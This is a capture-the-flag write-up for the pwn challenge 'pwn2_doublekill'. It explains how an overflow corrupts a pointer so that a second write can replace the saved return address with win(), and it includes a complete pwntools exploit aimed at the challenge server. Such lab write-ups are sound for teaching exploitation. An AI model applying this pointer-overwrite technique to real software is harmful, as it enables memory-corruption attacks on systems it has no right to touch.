pwn2_doublekill
pwn2_doublekill
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: overflowed_pointer_write_what_where, ret2win, stack_address_leak
Summary
Task: 64-bit non-PIE pwn with a win() that prints /flag; play() leaks the stack buffer address, reads 0x30 bytes that overflow into an adjacent pointer variable, then writes 8 bytes through that pointer. Solution: use the first overflow to repoint the pointer at play()'s saved return address, then use the second write to overwrite it with win() — an indirect write-what-where ret2win with no canary.
pwn2_doublekill — pwn_spbctf
Description
Нужно перетереть адрес возврата через перееханный указатель.
Author: Anatoly Korniltsev (@korniltsev)
English summary: A 64-bit x86-64 ELF doublekill (NON-PIE at 0x400000, NX enabled,
Partial RELRO, no stack canary, with debug_info). The goal is to overwrite the
saved return address indirectly — through a pointer that itself gets overflowed by a
read — and redirect execution to win(), which prints /flag.
Remote service: nc 109.233.56.90 11604.
Analysis
Relevant functions:
-
win()@0x401182—open("/flag", 0)→read(fd, password@0x4040a0, 0x100)→write(1, password, n)→close. Callingwin()prints the flag. -
play()@0x4011e2— stack frame:char buf@rbp-0x30void *password_ptr@rbp-0x8, initialized to&password(0x4040a0)
Control flow in
play():fprintf(stderr, "[debug] U: %p P: %p\n", &buf, password)— leaks the stack address ofbuf(rbp-0x30), defeating stack ASLR.printf("U: "); read(0, buf, 0x30)— reads exactly 0x30 bytes into the buffer. Becausepassword_ptrlives atrbp-0x8 = buf+0x28, the last 8 bytes of this read overwritepassword_ptr.printf("P: "); read(0, password_ptr, 0x8)— writes 8 attacker-controlled bytes to*password_ptr→ an arbitrary 8-byte write whose destination we now control.
-
main()@0x40126cjust callsplay(). No canary anywhere.
This is the classic "double read" pattern: the first overflow corrupts a nearby pointer variable, and the second write uses that corrupted pointer as the destination — an indirect write-what-where.
Solution
From the leak, buf_addr = the U: pointer (rbp-0x30). Therefore:
rbp = buf_addr + 0x30play()'s saved return address is atret_addr = rbp + 8 = buf_addr + 0x38
Steps:
- read1 (0x30 bytes):
b'A'*0x28 + p64(ret_addr)→ overwritespassword_ptratbuf+0x28so it points at the saved return address. - read2 (8 bytes):
p64(win)(win = 0x401182) → writeswin's address over the saved return address. - When
play()returns it jumps towin(), which prints/flag. (A SIGSEGV follows after the flag is printed, which is harmless.)
Protocol note (reproducibility)
The "[debug] U: ... P: ...\n" line goes to stderr but is merged onto the socket; the
stdout prompts print as "U: P: " together. Reliable sync: recvuntil(b'[debug] U: '),
parse the buf hex up to the next space, then recvuntil(b'P: ') to consume the prompt
pair, then send payload1 (0x30 bytes) and payload2 (8 bytes).
Key snippet
python read-only • copy allowedio.recvuntil(b'[debug] U: '); buf = int(io.recvuntil(b' ', drop=True), 16) io.recvuntil(b'P: ') io.send(b'A'*0x28 + p64(buf+0x38)) # password_ptr -> saved RET (rbp=buf+0x30, ret=rbp+8) io.send(p64(0x401182)) # *password_ptr = win
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'info' WIN = 0x401182 def main(): if len(sys.argv) > 1 and sys.argv[1] == 'local': io = process('./doublekill') else: io = remote('109.233.56.90', 11604) # "[debug] U: <buf=rbp-0x30> P: <password=0x4040a0>\n" then "U: P: " io.recvuntil(b'[debug] U: ') buf_addr = int(io.recvuntil(b' ', drop=True), 16) log.success('buf @ %#x' % buf_addr) io.recvuntil(b'P: ') # consume the trailing "U: P: " prompt pair rbp = buf_addr + 0x30 ret_addr = rbp + 8 # saved return address of play() # read1: 0x30 bytes into buf (rbp-0x30). password_ptr lives at rbp-0x8 = buf+0x28. # Overwrite it to point at the saved return address. payload1 = b'A' * 0x28 + p64(ret_addr) assert len(payload1) == 0x30 io.send(payload1) # read2: 8 bytes written to *password_ptr (= ret_addr). Place WIN there. io.send(p64(WIN)) data = io.recvall(timeout=6) sys.stdout.buffer.write(data) print() io.close() if __name__ == '__main__': main()